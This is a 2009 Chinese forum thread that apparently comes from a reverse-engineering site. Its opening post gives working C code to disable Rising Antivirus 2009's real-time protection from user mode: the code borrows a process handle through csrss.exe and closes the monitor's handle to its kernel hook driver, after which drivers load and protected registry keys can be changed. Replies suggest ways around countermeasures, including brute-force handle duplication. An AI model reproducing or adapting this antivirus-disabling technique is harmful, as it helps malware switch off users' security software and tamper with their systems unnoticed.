首页
社区
课程
招聘
[原创]用户层关闭瑞星2009杀毒软件安全保护
发表于: 2009-7-29 19:35 21754

[原创]用户层关闭瑞星2009杀毒软件安全保护

2009-7-29 19:35
21754
只是一个小小的思路,老鸟自行飘过,呵呵

我写这个纯粹是hacker精神,如果被滥用做病毒木马一类的邋遢东东,可跟偶没关系哦。

原理very简单,我发现瑞星监控主要在RavMonD进程中,如果打破其与内核的联系, 则

瑞星监控功能就无法正常工作了,怎么打破联系呢?如果是进内核的话当然有很多的办法,

从而没有挑战性了 ,况且RavMonD会阻止用户进程去加载驱动或者动注册表的关键地方,

比如run子键 。下面上测试代码:

int main(int argc,char *argv[])
 {
     if(argc != 4)
         puts("usage ccon csrss.pid prmd.handle hooksys.handle");
     else
     {
         int pid = atoi(argv[1]);
         int hprmd = atoi(argv[2]);
         int hobj = atoi(argv[3]);

         if(!SetDebugPrivilege(true))
             puts("SetDebugPrivilege Failed!");
         HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
         if(!hcs)
         {
             puts("Open Csrss.exe Failed");
             PrintErr(GetLastError());
         }
         else //直接打开RavMonD进程会失败的,so采用迂回战术
         {
             HANDLE hprmd_loc;
             if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),\
                 &hprmd_loc,PROCESS_ALL_ACCESS,false,0))
             {
                 puts("Get hprmd_loc Failed!");
                 PrintErr(GetLastError());
             }
             else //关闭hooksys的句柄,打破其与内核的联系
             {
                 HANDLE hobj_loc;
                 if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,\
                     GetCurrentProcess(),&hobj_loc,0,false,\
                     DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
                 {
                     puts("Get hobj_loc Failed!");
                     PrintErr(GetLastError());
                 }
                 else
                 {
                     if(!CloseHandle(hobj_loc))
                     {
                         puts("Close hobj_loc Failed");
                     }
                     else
                         puts("We Success Finally!!!");
                 }
             }
         }
     }
     return 0;
 }       


打破瑞星监控与内核的关联之后,用户进程可以任意加载驱动程序进内核或者篡改注册表

中的关键内容, 我测试了一下,虽然第一次修改注册表中的监控内容时瑞星还是会提示用

户是否允许修改,但是这时即使 选择否,同样可以修改成功,而且以后的修改瑞星不会再

提示了。

其实防守起来也很容易,瑞星只要不让我们在ring3下取到hooksys的句柄就行了,当然

仍然防不住内核 中的攻击,进入ring0还是可以为所欲为。

我的测试环境 windows xp sp3 + 瑞星杀毒2009 21.49.14 测试成功

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 7
支持
分享
最新回复 (36)
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
2
如果可以从csrss中取到句柄的话,确实还可以搞那么一搞~
2009-7-29 19:49
0
雪    币: 231
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
表面平静,实在暗潮汹涌.
2009-7-29 20:02
0
雪    币: 63
活跃值: (17)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
关闭句柄权限
不用PROCESS_ALL_ACCESS这么大
2009-7-29 20:29
0
雪    币: 442
活跃值: (107)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
5
了解,看你关了卡巴,瑞星有没有类似的事件?
2009-7-29 21:07
0
雪    币: 279
活跃值: (33)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
但是ring3下很难得知这个hooksys句柄
2009-7-29 22:42
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
7
瑞星要搞掉没这么麻烦,用DUPLICATE HANDLE拿到RSTRAY.EXE的进程后FREEXXX就轻松干掉了~

另外,楼主以为拿不到HOOKSYS的句柄号就不能用这种方式了吗,很简单,暴力DUPLICATE即可
2009-7-29 22:47
0
雪    币: 442
活跃值: (107)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
8
我的意思是,如果瑞星在ring0 hook了诸如NtQuerySystemInfo,psapi*和其他
可以枚举句柄的函数,那么我们在ring3怎么取该进程中对象的句柄?
2009-7-30 07:58
0
雪    币: 474
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
这个还是有研究意义
2009-7-30 08:46
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
觉对支持hopy
2009-7-30 09:39
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
句柄啊句柄!!!!
2009-7-30 10:05
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
12
我说的正是HOOK了这些后仍可得到句柄号,看来你没理解我说的。
QuerySystem取句柄号正是小儿科,思维定势限制了~
2009-7-30 12:35
0
雪    币: 442
活跃值: (107)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
13
是么??????
2009-7-30 12:47
0
雪    币: 279
活跃值: (33)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
估计mj说的是从1到1万,暴力dub
2009-7-30 15:08
0
雪    币: 442
活跃值: (107)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
15
若是将该进程句柄全部抹去,你又怎么到其进程空间去暴力枚举。
2009-7-31 10:18
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
16
哎,笨
举一反三
进程句柄可先在csrss里暴力枚举之。
2009-7-31 11:08
0
雪    币: 442
活跃值: (107)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
17
你才苯,这我能不知道么?呵呵
我说的就是将csrss中对应process的句柄抹掉,比如关闭该句柄。
关闭该句柄后,就无法在句柄表中找到其索引了,暴力枚举又如何能找的到呢?
2009-7-31 11:33
0
雪    币: 100
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
反对破坏杀毒软件
2009-7-31 12:05
0
雪    币: 442
活跃值: (107)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
19
反对无效!!!
2009-7-31 12:07
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
20
我刚想说,被MJ老爷说了。。
2009-7-31 14:46
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
21
关闭CSRSS中的进程句柄会影响关机时关闭这个进程,若这个进程不主动退出,将无法关机,还有其他一些副作用~楼主太想当然了~
另外,即使关闭CSRSS中该进程句柄,也可以用MAX法或GW法来获得进程句柄,为了不祸害人间,就不详细透露了~
2009-7-31 15:11
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
膜拜hopy
2009-7-31 16:39
0
雪    币: 442
活跃值: (107)
能力值: ( LV9,RANK:350 )
在线值:
发帖
回帖
粉丝
23
这个...你拜错对象了...
2009-7-31 17:52
0
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
又是引来一整骚动
2009-7-31 18:55
0
雪    币: 227
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
hopy不做CSDN的版主啦
2009-8-1 11:30
0
游客
登录 | 注册 方可回帖
返回
//